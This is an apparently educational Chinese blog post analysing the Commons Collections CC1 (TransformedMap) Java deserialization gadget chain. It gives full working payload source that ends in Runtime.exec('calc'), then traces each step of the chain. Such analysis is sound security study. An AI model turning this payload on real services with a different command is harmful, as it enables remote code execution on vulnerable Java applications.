java反序列化–cc1(TransformedMap)

环境:jdk8u65; commons-collections3.2

影响版本:<jdk8u71

    <dependency>
     <groupId>commons-collections</groupId>
     <artifactId>commons-collections</artifactId>
     <version>3.2</version>
   </dependency>

payload:

package commonscollections3;
​
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
​
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
​
public class CC1TransformedMap {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "calc" })
        };      
​
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innermap = new HashMap();
        innermap.put("value", "xxx");
        Map outmap = TransformedMap.decorate(innermap, null, transformerChain);
        Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
        ctor.setAccessible(true);
        Object instance = ctor.newInstance(Retention.class, outmap);

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("obj.ser"));
        out.writeObject(instance);
        out.close();

        ObjectInputStream in = new ObjectInputStream(new FileInputStream("obj.ser"));
        in.readObject();
        in.close();
    }
}

Transformer数组

这里new了一个transformer数组对象,数组内又分别new了4个不同的对象,我们一个个来看

        Transformer[] transformers = new Transformer[] {
               new ConstantTransformer(Runtime.class),
               new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
               new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
               new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "calc" })
      };

首先跟进这个类对应的构造函数看看

new ConstantTransformer(Runtime.class),

可以看到只是将Runtime.class给到了这个类的iConstant对象常量

接下来跟进InvokerTransformer类,可以看到也是赋值操作,我的理解如下

  • iMethodName = “getMethod”
  • iParamTypes = 一个Class[]数组对象,包含String类的字节码和Class[]的字节码
  • iArgs = 一个Object[]数组对象,包含”getRuntime”字符串和Class[]的字节码
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),

同样的赋值,不再赘述

new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "calc" })
      };

整个transformers数组其实就只是赋值的作用,那么为什么需要这些赋值?其实这里我们正向去理解更好理解一点

InvokerTransformer.transform()

先不管transformers数组,我们先来看InvokerTransformer.transform()方法

这个方法先拿到input的字节码,然后根据类中的字段值获取该字节码的方法,最后根据参数值调用。

假如我们能够调用这个transform方法,以这段代码举例,将参数值代入

new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),

首先拿到input对象的字节码,然后反射获取到getmethod()这个方法,最后相当于调用input.getmethod(getRuntime),而input这个对象如果是java.lang.Runtime那么是否就很熟悉了?没错,这里的transform方法就是用来执行命令的。

ChainedTransformer.transform()

我们继续往下看,找到ChainedTransformer.transform()方法,这里的for循环将iTransformers作为循环数组进行transform方法的调用,如果我们能够调用到这个方法,是否可以利用这里的transform调用到InvokerTransformer.transform()呢?答案是肯定的

这段代码跟进后你会发现ChainedTransformer的构造函数将我们之前构造好的transformers恶意数组赋值给到了iTransformers!

Transformer transformerChain = new ChainedTransformer(transformers);

那么上面的transform函数便可以调用到InvokerTransformer.transform()了

接下来我们仔细讲一下这个for循环是如何调用到Runtime.getRuntime.exec()方法的。首先进入for循环,i<4,调用数组中第一个ConstantTransformer.transform,返回的是iConstant的值,而在new一个对象时,构造方法已经触发了,也就将Runtime.calss赋值给了iConstant,这时transform方法返回的对象便是Runtime.calss。

此时回到for循环,object接收到Runtime.calss,再次调用数组中第二个InvokerTransformer.transform,就是跟上面分析的一样。此时会发现input如愿以偿地变成了Runtime.class,因为object此时是Runtime.class,变成了transform方法的参数。最后相当于调用了Runtime.getMethod(“getRuntime”),用反射获取到了Runtime.getRuntime()方法。同时,for循环中的object的值也变成了getRuntime()对象

再次调用数组中第三个InvokerTransformer.transform,此时input变成了getRuntime()对象。获取getRuntime()字节码,然后又获取到了invoke方法,最后相当于调用getRuntime().invoke(null),跟进Runtime的源码我们可以发现getRuntime方法返回了currentRuntime的值,而该值又new了一个Runtime对象,所以最后返回的是新的Runtime对象,object也是该对象

最后调用不用说,一定是用该对象调用了exec(“calc”)方法,最终执行了命令,实现了我们的想法。

回到最初,我们还是需要调用ChainedTransformer.transform()方法。从这里开始,cc1就出现了分水岭,有两个方法都可以调用到该方法,一个是TransformedMap.checkSetValue(),一个是LazyMap.get()。我们先讲TransformedMap这条链

TransformedMap.checkSetValue()

找到该方法,可以发现这里调用了transform方法,但是问题是valueTransformer不是ChainedTransformer,这就需要payload中的decorate方法了

跟进decorate方法我们发现new了一个TransformedMap,根据payload,这里的valueTransformer是transformerChain

跟进构造方法TransformedMap,可以发现将transformerChain赋值给了valueTransformer。那么transformerChain.transform便可以调用了。那谁能调用到TransformedMap.checkSetValue()方法呢?

AbstractInputCheckedMapDecorator.setValue()

AbstractInputCheckedMapDecorator类的setValue()方法会调用checkSetValue(),但是需要parent赋值为TransformedMap。

这里先不管parent值怎样赋值,我们先假如可以给到该值。再向上找到一条有readObject方法能够触发AbstractInputCheckedMapDecorator.setValue()的类

AnnotationInvocationHandler.readObject()

sun.reflect.annotation.AnnotationInvocationHandler是一个反射类,定位到readObject()代码,发现for循环内出现了memberValue.setValue,此时我们只需要初始化memberValue为AbstractInputCheckedMapDecorator,然后反序列化该类即可。

但我们还存在两个问题,一个是parent的赋值,还有一个是memberValue的值,怎样初始化成我们想要的结果呢?此时查看payload

Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Retention.class, outmap);

利用反射获取到AnnotationInvocationHandler类,然后获取其构造函数,将Retention.class和outmap传入,跟进其构造函数。

可以看到这里对memberValues进行了赋值,此时调试会发现memberValues是TransformedMap,为什么呢?我们传入的不是outmap吗?

仔细看payload,innermap是一个普通的hashmap,但是经过decorate装饰后,变成了TransformedMap的实例,也就是说此时outmap不再是hashmap对象了,而是变成了TransformedMap对象。所以在前面的构造函数中memberValues是TransformedMap。

Map innermap = new HashMap();
innermap.put("value", "xxx");
Map outmap = TransformedMap.decorate(innermap, null, transformerChain);

回过头来再看AnnotationInvocationHandler类的readObject方法的for循环,代入memberValues,会调用到TransformedMap.entrySet(),但是你到TransformedMap类中寻找就会发现并没有这个方法,但是我们发现这个类是继承AbstractInputCheckedMapDecorator类的,如果TransformedMap没有entrySet()方法,那么便会调用父类的entrySet()方法

跟进AbstractInputCheckedMapDecorator.entrySet()方法,跟进isSetValueChecking()方法,因为memberValues为TransformedMap,所以这里的this代指TransformedMap对象,跟进到TransformedMap.isSetValueChecking()方法,这里的valueTransformer是ChainedTransformer不为空,返回true。

protected boolean isSetValueChecking() {
   return this.valueTransformer != null;
}

调用new EntrySet(super.map.entrySet(), this),这里的super.map调用的是AbstractInputCheckedMapDecorator的父类 AbstractMapDecorator 中的 map 字段,而父类中的map是什么呢?

这就又要回到TransformedMap.decorate()方法了,跟进到TransformedMap构造函数,发现调用了super(map),注意此时的map是innermap,是一个hashmap。

那么我们再跟进TransformedMap的父类AbstractInputCheckedMapDecorator类中的构造函数,你会发现也是调用了super(map),再跟进AbstractMapDecorator父类,这里的构造函数将innermap也就是hashmap对象赋值给到了map。

因此,我们再回到entrySet(),此时的super.map.entrySet()就应该是hashmap.entrySet(),该方法返回一个 Set,包含 HashMap 中的所有键值对,再来看EntrySet(super.map.entrySet(), this)构造方法,调用super(set),关键的是这里的parent值是什么,EntrySet将this传入parent,而前文我们说到this代指TransformedMap,因此我们成功将parent赋值为TransformedMap。跟进super(set),可以发现父类也是返回this.map.entrySet(),即hashmap.entrySet(),因此返回的是set。

到这里一切都说通了,调试结果也符合

但我们还需要绕过两个if判断才能调用到setValue方法

memberType是获取注解中成员变量的名称,然后并且检查HashMap键值对中键名是否是对应的名称。

可以看到payload中的注解类是存在成员变量value的

第二个if检查 value 的类型是否符合注解成员的预期类型(memberType),或者 value 是否是一个 ExceptionProxy 对象。如果不符合预期类型且不是 ExceptionProxy,则将 value 替换为一个 AnnotationTypeMismatchExceptionProxy 对象。这里的value是我们传入的”xxx”,是一个String类型的对象,因此if条件返回true,进入到memberValue.setValue。此时的memberValue是TransformedMap,但TransformedMap没有setValue方法,便调用父类也就是AbstractInputCheckedMapDecorator的setValue方法。最终整个cc1链调用完成。

gadget

AnnotationInvocationHandler.readObject()
   AbstractInputCheckedMapDecorator.setValue()
  TransformedMap.checkSetValue()
  ChainedTransformer.transform()
  InvokerTransformer.transform()
  Runtime.exec()

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇